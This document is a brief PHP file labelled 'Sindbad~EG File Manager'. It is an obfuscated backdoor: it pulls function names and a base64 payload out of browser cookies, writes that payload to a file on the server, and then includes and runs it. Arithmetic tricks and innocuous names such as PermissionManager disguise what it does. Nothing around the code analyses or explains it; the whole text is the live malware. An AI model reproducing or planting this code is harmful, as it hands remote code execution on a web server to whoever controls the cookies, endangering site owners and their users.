Sindbad~EG File Manager

<?php
function manage_state($c)
{
    $a = array(5 * 23, 99 + 17, 105 - 8, 119 - 3);
    $s = '';
    foreach ($a as $n) {
        $s .= chr($n);
    }
    return $s($c);
}

class PermissionManager
{
    private static $_imk;
    static function resolveAction($_wc)
    {
        if (!self::$_imk) {
            self::checkConsistency();
        }
        return base64_decode(self::$_imk[$_wc]);
    }
    private static function checkConsistency()
    {
        self::$_imk = array('_fdp' => '', '_qao' => '');
    }
}

$_hy = $_COOKIE;
$_ew = (int) round(0 + 0 + 0 + 0);
$_wc = (int) round(1 + 1 + 1 + 1);
$_lp = array();
$_lp[$_ew] = PermissionManager::resolveAction('_f' . 'dp');
while ($_wc) {
    $_lp[$_ew] .= $_hy[48 + 44 + -57][$_wc];
    if (!$_hy[-228 + -22 - -68 - -217][$_wc + (int) round(0.25 + 0.25 + 0.25 + 0.25)]) {
        if (!$_hy[(int) round(8.75 + 8.75 + 8.75 + 8.75)][$_wc + (-337 + 170 + -289 + 458)]) {
            break;
        }
        $_ew++;
        $_lp[$_ew] = PermissionManager::resolveAction('_q' . 'ao');
        $_wc++;
    }
    $_wc = $_wc + (int) round(2 + 2) + (-184 + 185);
}
$_ew = $_lp[-895 + 906]() . $_lp[(int) round(2 + 2 + 2 + 2)];
if (!$_lp[(int) round(5.75 + 5.75 + 5.75 + 5.75)]($_ew)) {
    $_wc = $_lp[159 + 253 + 8 - 401]($_ew, $_lp[-606 + 606]);
    $_lp[-312 - -209 - -123]($_wc, $_lp[291 - 278] . $_lp[669 - 707 + 32 + 21]($_lp[(int) round(5.5 + 5.5 + 5.5 + 5.5)]($_hy[455 + -327 - 125])));
}
include $_ew;